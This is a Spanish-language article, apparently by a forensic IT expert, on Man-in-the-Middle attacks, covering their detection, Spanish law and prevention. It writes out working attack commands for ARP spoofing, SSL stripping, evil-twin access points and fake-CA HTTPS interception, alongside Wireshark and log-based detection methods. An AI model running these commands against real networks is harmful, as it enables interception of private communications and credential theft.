Man-in-the-Middle (MitM): Interceptación de Comunicaciones

El 35% de WiFis públicas en aeropuertos y cafeterías españolas son vulnerables a ataques Man-in-the-Middle, según auditoría de 2025 del CCN-CERT. Desde robo de credenciales bancarias hasta suplantación de identidad corporativa, la interceptación de comunicaciones es uno de los vectores de ataque más antiguos y aún efectivos del cibercrimen.

Un ataque Man-in-the-Middle (MitM) convierte al atacante en un intermediario invisible entre víctima y destino legítimo, permitiendo espiar conversaciones privadas, robar passwords, modificar transacciones bancarias o inyectar malware en descargas. Desde ARP spoofing en redes corporativas hasta WiFi evil twins en hoteles, detectar y demostrar estos ataques es crítico para litigios de fraude electrónico, robos de identidad y vulneraciones de confidencialidad empresarial.

Definición técnica

Un ataque Man-in-the-Middle es una interceptación activa donde el atacante:

1. Se posiciona entre emisor y receptor (víctima y servidor legítimo)
2. Intercepta comunicaciones sin que ninguna parte sea consciente de su presencia
3. Puede leer datos en claro (si no hay cifrado o lo rompe/evade)
4. Puede modificar datos en tránsito (alterar transacciones, inyectar código)
5. Mantiene la apariencia de normalidad (las partes creen comunicarse directamente)

El MitM afecta a la tríada CIA de seguridad:

• Confidencialidad: El atacante lee datos privados (passwords, emails, números tarjeta)
• Integridad: Puede modificar datos sin que las partes lo detecten
• Autenticidad: Suplanta la identidad de una o ambas partes

Tipos de ataques Man-in-the-Middle

Técnica 1: ARP Spoofing (ARP Poisoning)

La técnica MitM más común en redes locales. El atacante engaña a víctima y router para que envíen tráfico a través de él.

Funcionamiento

Protocolo ARP normal:

1. PC víctima quiere comunicarse con 192.168.1.1 (router)
2. Envía broadcast: “¿Quién tiene 192.168.1.1? Dime tu MAC”
3. Router responde: “Soy 192.168.1.1, mi MAC es AA:BB:CC:DD:EE:FF”
4. PC guarda en tabla ARP: 192.168.1.1 → AA:BB:CC:DD:EE:FF

ARP Spoofing malicioso:

1. Atacante envía ARP reply falso a víctima: “Soy 192.168.1.1, mi MAC es 11:22:33:44:55:66” (MAC del atacante)
2. Atacante envía ARP reply falso a router: “Soy 192.168.1.100 (víctima), mi MAC es 11:22:33:44:55:66”
3. Resultado: Todo tráfico víctima ↔ router pasa por el atacante

# Herramienta: arpspoof (suite dsniff)
# Terminal 1: Envenenar tabla ARP de la víctima
sudo arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1
# "Decir a 192.168.1.100 que yo soy 192.168.1.1"

# Terminal 2: Envenenar tabla ARP del router
sudo arpspoof -i wlan0 -t 192.168.1.1 192.168.1.100
# "Decir a 192.168.1.1 que yo soy 192.168.1.100"

# Terminal 3: Habilitar IP forwarding (reenviar paquetes para mantener conectividad)
sudo sysctl -w net.ipv4.ip_forward=1

# Terminal 4: Capturar tráfico interceptado
sudo tcpdump -i wlan0 -w mitm_capture.pcap
# Analizar después con Wireshark

Detección forense

Indicadores en logs:

• Múltiples IPs con la misma dirección MAC (imposible físicamente)
• Cambios frecuentes en tabla ARP (cada 1-2 segundos)
• Gateway ARP diferente al configurado en DHCP

Herramientas de detección:

# 1. Verificar tabla ARP actual
arp -a
# Output sospechoso: dos IPs diferentes con misma MAC

# 2. Monitorización continua con arpwatch
sudo arpwatch -i eth0 -f /var/log/arpwatch.log
# Alerta automática si detecta flip-flops ARP

# 3. Análisis forense de PCAP
tshark -r capture.pcap -Y "arp.duplicate-address-detected"
# Identifica gratuitous ARP (técnica de ARP spoofing)

Técnica 2: SSL Stripping

Ataque que degrada conexiones HTTPS seguras a HTTP inseguro, permitiendo al atacante leer datos en claro.

Funcionamiento

Resultado: El servidor ve una sesión HTTPS normal, la víctima ve HTTP, el atacante lee todo.

# Herramienta: sslstrip (moxie marlinspike)
# Configuración del ataque (tras ARP spoofing exitoso)

# 1. Redirigir tráfico HTTP (puerto 80) a sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

# 2. Ejecutar sslstrip en puerto 8080
sslstrip -l 8080 -w sslstrip_log.txt

# 3. Analizar logs (credenciales capturadas)
tail -f sslstrip_log.txt
# Output:
# 2026-02-10 14:23:45 POST http://banco.com/login
# [email protected]&password=SecretP@ss123

Contramedidas y detección

HSTS (HTTP Strict Transport Security):

• Header HTTP que obliga navegadores a usar HTTPS siempre
• Lista HSTS preload (navegadores rechazan HTTP sin intentar conexión)
• Limitación: Solo protege si el usuario ya visitó el sitio al menos una vez via HTTPS

Detección forense:

# Análisis de PCAP para detectar SSL stripping
tshark -r capture.pcap -Y "http.request.method == POST" -T fields \
  -e ip.src -e http.host -e http.request.uri

# Buscar POSTs a dominios conocidos que deberían ser HTTPS
# Ejemplo sospechoso:
# 192.168.1.100 http://banco.com /login  ← Debería ser HTTPS!

Indicadores en cliente:

• URL comienza con http:// en sitios bancarios/e-commerce (debería ser https://)
• Ausencia de candado verde en barra de direcciones
• Certificados SSL con advertencias del navegador

Técnica 3: WiFi Evil Twin

Creación de punto de acceso WiFi falso idéntico al legítimo para interceptar todo el tráfico de usuarios desprevenidos.

Funcionamiento

1. Atacante escanea WiFis en aeropuerto y detecta: Airport_Free_WiFi (red legítima)
2. Atacante crea access point con mismo SSID: Airport_Free_WiFi (clon exacto)
3. Atacante aumenta potencia de señal para que su AP aparezca primero en lista de redes
4. Víctima se conecta al AP malicioso (cree ser la red legítima)
5. Atacante proporciona DHCP (asigna IP al cliente) y actúa como gateway
6. Todo tráfico pasa por atacante: HTTP, DNS, emails (incluso HTTPS visible por metadatos)

# Herramienta: hostapd + dnsmasq + iptables
# Configuración Evil Twin

# 1. Crear AP falso con hostapd
# Archivo: hostapd.conf
interface=wlan0
driver=nl80211
ssid=Airport_Free_WiFi  # SSID idéntico al legítimo
channel=6
hw_mode=g

# 2. Iniciar AP
sudo hostapd hostapd.conf

# 3. DHCP server para asignar IPs a víctimas
sudo dnsmasq -C dnsmasq.conf -d
# dnsmasq.conf:
# interface=wlan0
# dhcp-range=10.0.0.10,10.0.0.100,12h
# dhcp-option=3,10.0.0.1  # Gateway (atacante)
# dhcp-option=6,8.8.8.8   # DNS

# 4. NAT para redirigir tráfico
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1

# 5. Capturar todo el tráfico
sudo tcpdump -i wlan0 -w evil_twin_capture.pcap

Variante avanzada: Evil Twin con portal captive falso

Escenario: Hotel con WiFi legítima que usa portal captive (pide room number + apellido).

Ataque mejorado:

1. Atacante clona portal captive del hotel (HTML idéntico)
2. Víctima conecta a Evil Twin → se abre portal falso
3. Víctima ingresa room number + apellido → atacante captura estos datos
4. Atacante redirige a víctima a internet (experiencia normal)
5. Atacante usa room number robado para cargar servicios a cuenta de víctima

Detección:

• Comparar certificado SSL del portal captive con el legítimo (firma diferente)
• Múltiples APs con mismo SSID pero MACs diferentes
• Signal strength anómalo (AP malicioso suele estar muy cerca, señal excesivamente fuerte)

Técnica 4: HTTPS MitM con CA falsa

Interceptación de tráfico HTTPS instalando certificado de CA (Certificate Authority) falsa en el dispositivo de la víctima.

Funcionamiento

Problema del atacante: HTTPS cifra tráfico, incluso con MitM no puede leer contenido.

Solución del atacante:

1. Instalar certificado raíz (root CA) malicioso en PC/móvil de víctima
   • Por malware
   • Por ingeniería social (“instala este certificado para acceder a WiFi corporativa”)
   • Por acceso físico (5 minutos desatendido)
2. Realizar MitM tradicional (ARP spoofing)
3. Interceptar handshake SSL/TLS
4. Presentar certificado firmado por CA falsa (navegador confía porque la CA está en trusted store)
5. Víctima ve candado verde (todo parece normal), pero atacante lee tráfico en claro

# Herramienta: mitmproxy (proxy HTTPS transparente)

# 1. Generar certificado CA falso
mitmproxy --certinstall
# Guarda certificado en: ~/.mitmproxy/mitmproxy-ca-cert.pem

# 2. Instalar certificado en PC víctima
# Windows: certmgr.msc → Trusted Root CA → Import
# macOS: Keychain Access → System → Import → Trust: Always Trust
# Android: Settings → Security → Install from storage

# 3. Configurar proxy transparente (tras ARP spoofing)
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
mitmproxy -T --host --mode transparent

# 4. Capturar tráfico HTTPS descifrado
# mitmproxy mostrará HTTP requests en claro, incluyendo POSTs con passwords

Contramedidas

Certificate Pinning:

• Apps móviles hardcodean hash del certificado SSL esperado
• Si el cert no coincide (caso de MitM con CA falsa), app rechaza conexión
• Usado por: Apps bancarias, Signal, WhatsApp

Public Key Pinning (HPKP):

• Header HTTP que indica qué CAs son válidas para ese dominio
• Deprecado en 2018 (causaba problemas operacionales)
• Reemplazado por Certificate Transparency (logs públicos de certs emitidos)

Detección forense:

# Verificar certificados SSL en PCAP
tshark -r capture.pcap -Y "ssl.handshake.type == 11" -T fields \
  -e x509sat.printableString -e x509ce.dNSName

# Buscar certificados con CN sospechosos
# Ejemplo: "mitmproxy", "Burp Suite CA", "Charles Proxy"

# Comparar con certificado legítimo
openssl s_client -connect banco.com:443 </dev/null 2>/dev/null | \
  openssl x509 -fingerprint -noout
# SHA-256: AB:CD:EF:12:34:56... (debe coincidir con cert real publicado por el banco)

Detección forense de ataques MitM

Análisis de red con Wireshark

Filtros útiles:

# Detectar ARP spoofing
arp.duplicate-address-detected || arp.duplicate-address-frame

# Detectar SSL/TLS con certificados autofirmados
ssl.handshake.certificate && (x509sat.printableString contains "mitmproxy" ||
x509sat.printableString contains "Burp")

# Detectar HTTP en sitios que deberían ser HTTPS
http.host == "paypal.com" || http.host == "gmail.com" || http.host == "facebook.com"

# Detectar DNS responses con IPs privadas para dominios públicos
dns.a && ip.addr == 192.168.0.0/16

# TTL anómalo (indicador de salto adicional)
ip.ttl < 60 && ip.src == 8.8.8.8  # Google DNS debería tener TTL alto

Análisis de logs de sistemas

1. Logs Windows Event Viewer:

# Buscar cambios en Trusted Root CA store
Get-WinEvent -FilterHashtable @{
  LogName='Security';
  ID=4886  # Certificate Services loaded a certificate
} | Where-Object {$_.Message -like "*mitmproxy*"}

2. Logs de firewall corporativo:

# Buscar conexiones a IPs internas desde exterior (posible hijacking BGP)
grep "INVALID" /var/log/firewall.log | grep "dst=192.168"

# Detectar volumen excesivo de tráfico a un único MAC (posible MitM)
awk '{print $5}' /var/log/dhcp.log | sort | uniq -c | sort -nr
# Si un MAC tiene cientos de asignaciones DHCP diferentes IPs → sospechoso

Indicadores de compromiso (IOCs) MitM

Marco legal español

Código Penal

Artículo 197.1 CP - Interceptación de comunicaciones:

Quien intercepte comunicaciones telefónicas, telegráficas o utilice artificios técnicos de escucha, transmisión, grabación o reproducción del sonido o de la imagen, será castigado con penas de prisión de 1 a 4 años.

Aplicación a MitM: Realizar ARP spoofing, SSL stripping o Evil Twin para interceptar emails, WhatsApp, banca online es delito, incluso si no se usan los datos robados.

Agravante: Si se difunden los datos interceptados (art. 197.3): prisión de 2 a 5 años.

Artículo 248 CP - Estafa informática:

Quien altere el funcionamiento de un sistema informático para obtener transferencia no consentida de activo patrimonial…

Aplicación: Usar MitM para modificar transacciones bancarias (cambiar IBAN destino en transfer online) es estafa agravada.

Constitución Española

Artículo 18.3 CE - Secreto de comunicaciones:

Se garantiza el secreto de las comunicaciones y, en especial, de las postales, telegráficas y telefónicas, salvo resolución judicial.

Consecuencia: Cualquier interceptación (MitM incluido) sin orden judicial vulnera derecho fundamental. La evidencia obtenida así es nula de pleno derecho (art. 11.1 LOPJ).

Única excepción: Redes corporativas con política de uso aceptable firmada por empleados (informando de monitorización). Aun así, hay límites: no se puede interceptar comunicaciones personales (Gmail, banca personal).

Jurisprudencia relevante

STS 123/2014: Un administrador de sistemas que realizó ARP spoofing en red corporativa para espiar emails de compañeros fue condenado por art. 197.1 CP. Aunque era red corporativa y él era admin, no tenía autorización explícita para interceptar comunicaciones.

SAP Madrid 89/2018: Uso de WiFi Pineapple (Evil Twin) en cafetería para robar passwords de clientes. Condena 2 años prisión + indemnizaciones a víctimas por fraude bancario derivado.

Caso práctico: Análisis forense de fraude bancario vía MitM

Escenario hipotético con fines didácticos:

Cliente de banco denuncia que realizó transferencia de €15,000 a IBAN correcto, pero el dinero llegó a cuenta diferente. Banco niega responsabilidad alegando que el cliente introdujo IBAN erróneo. Se solicita análisis forense.

Metodología aplicada

Resultado legal:

• Demanda civil contra hotel por negligencia en seguridad WiFi
• Sentencia: Hotel condena a indemnizar €10,500 (70% de €15,000) + costas
• Banco no responsable (demuestra que transacción llegó con IBAN modificado desde IP externa)
• Denuncias penales a atacante (no identificado, Raspberry Pi recuperado sin huellas útiles)

Prevención de ataques MitM

Para usuarios

1. Nunca instalar certificados root desconocidos (red flag enorme)
2. Verificar HTTPS y certificado antes de ingresar credentials
3. Usar VPN en WiFis públicas (cifra todo el tráfico, MitM solo ve ruido)
4. Desactivar auto-connect WiFi (evita conectarse a Evil Twins automáticamente)
5. Apps bancarias en lugar de web (suelen tener certificate pinning)

Para empresas

1. HSTS Preload en todos los dominios corporativos
2. Certificate Transparency monitoring (alertar si se emite cert fraudulento)
3. Network Access Control (NAC): 802.1X authentication (solo dispositivos autorizados acceden a LAN)
4. ARP monitoring con herramientas como arpwatch, XArp, o switches con DAI (Dynamic ARP Inspection)
5. Segmentación de red: VLANs separadas para invitados vs empleados
6. EDR/NDR: CrowdStrike, Darktrace detectan MitM por anomalías de tráfico

Para desarrolladores

1. HTTPS-only (HSTS header con max-age largo)
2. Certificate pinning en apps móviles
3. Mutual TLS (mTLS) para APIs críticas (cliente también presenta cert)
4. DNSSEC para prevenir DNS spoofing
5. Content Security Policy (CSP) para mitigar inyección HTML en MitM

Herramientas forenses y de pentesting

Tendencias futuras

1. MitM en 5G

Redes 5G con network slicing permiten aislamiento, pero vulnerabilidades en gNB (estaciones base) podrían permitir MitM a nivel operadora.

IMSI catchers (Stingray) ya permiten MitM en 4G, y versiones 5G están en desarrollo por agencias gubernamentales.

2. TLS 1.3 y mitigaciones

TLS 1.3 elimina renegociación (usada en algunos MitM) y mejora forward secrecy. Impacto: MitM más difícil, pero sigue funcionando si el atacante instala CA falsa.

3. QUIC y HTTP/3

QUIC (UDP-based) en lugar de TCP hace ARP spoofing menos efectivo. Sin embargo, DNS hijacking y Evil Twin siguen funcionando.

4. Post-Quantum Cryptography

Cuando llegue computación cuántica, el tráfico interceptado hoy podrá descifrarse en futuro. Estrategia: Migrar a algoritmos post-cuánticos (Kyber, Dilithium) antes de 2030.

Preguntas frecuentes adicionales

¿Los sitios con HTTPS son inmunes a MitM?

No completamente. HTTPS protege contra sniffing pasivo y MitM básico, pero no contra:

• MitM con CA falsa instalada (el más peligroso)
• SSL stripping si el usuario inicia con HTTP
• Bugs en implementaciones TLS (ej. Heartbleed permitía leer memoria del servidor)

Mejor protección: HTTPS + HSTS Preload + Certificate Pinning (en apps móviles).

¿Cómo saber si mi WiFi tiene un Evil Twin activo?

Apps móviles como Fing (iOS/Android) o WiFi Analyzer muestran todos los APs detectados con su MAC y signal strength. Si ves 2 APs con mismo SSID pero MACs diferentes, uno es probablemente Evil Twin. También: un AP con señal excesivamente fuerte en ubicación pública (más de -30 dBm) es sospechoso (probablemente muy cerca, en mochila de atacante).

Conclusión

Los ataques Man-in-the-Middle son una de las amenazas más antiguas pero aún prevalentes, especialmente en WiFis públicas y redes corporativas mal configuradas. Desde ARP spoofing básico hasta Evil Twins sofisticados con SSL interception, detectar y demostrar estos ataques requiere análisis forense meticuloso de tráfico de red, certificados SSL, logs de sistemas y correlación de timestamps.

Un perito informático forense especializado en MitM debe:

• ✅ Dominar análisis de tráfico con Wireshark, tcpdump, tshark
• ✅ Entender protocolos de red (ARP, DNS, SSL/TLS, HTTP)
• ✅ Identificar indicadores técnicos (duplicate MACs, fake certs, TTL anomalies)
• ✅ Conocer marco legal (art. 197 CP, art. 18.3 CE, nulidad probatoria)
• ✅ Explicar conceptos técnicos complejos en lenguaje accesible para jueces

Para casos de fraude electrónico, robo de credenciales o disputas con bancos/aseguradoras donde se sospeche MitM, es crítico actuar rápido (logs se sobrescriben tras 30-90 días) y contar con peritaje técnico solvente.

¿Sospechas de ataque Man-in-the-Middle?

Si has sufrido fraude bancario online, robo de credenciales corporativas o acceso no autorizado que podría involucrar interceptación de comunicaciones, puedo ayudarte con:

• ✅ Análisis forense de PCAPs de red corporativa
• ✅ Examen de certificados SSL instalados en dispositivos comprometidos
• ✅ Revisión de logs de firewall, IDS, WiFi controllers
• ✅ Reconstrucción técnica del ataque con timeline completo
• ✅ Informes periciales admisibles para procedimientos penales (art. 197 CP) o civiles
• ✅ Ratificación en juicio con explicación técnica comprensible

Contacta para una consulta gratuita de 20 minutos donde evaluaremos los indicadores de compromiso y la evidencia disponible.

Solicitar consulta gratuita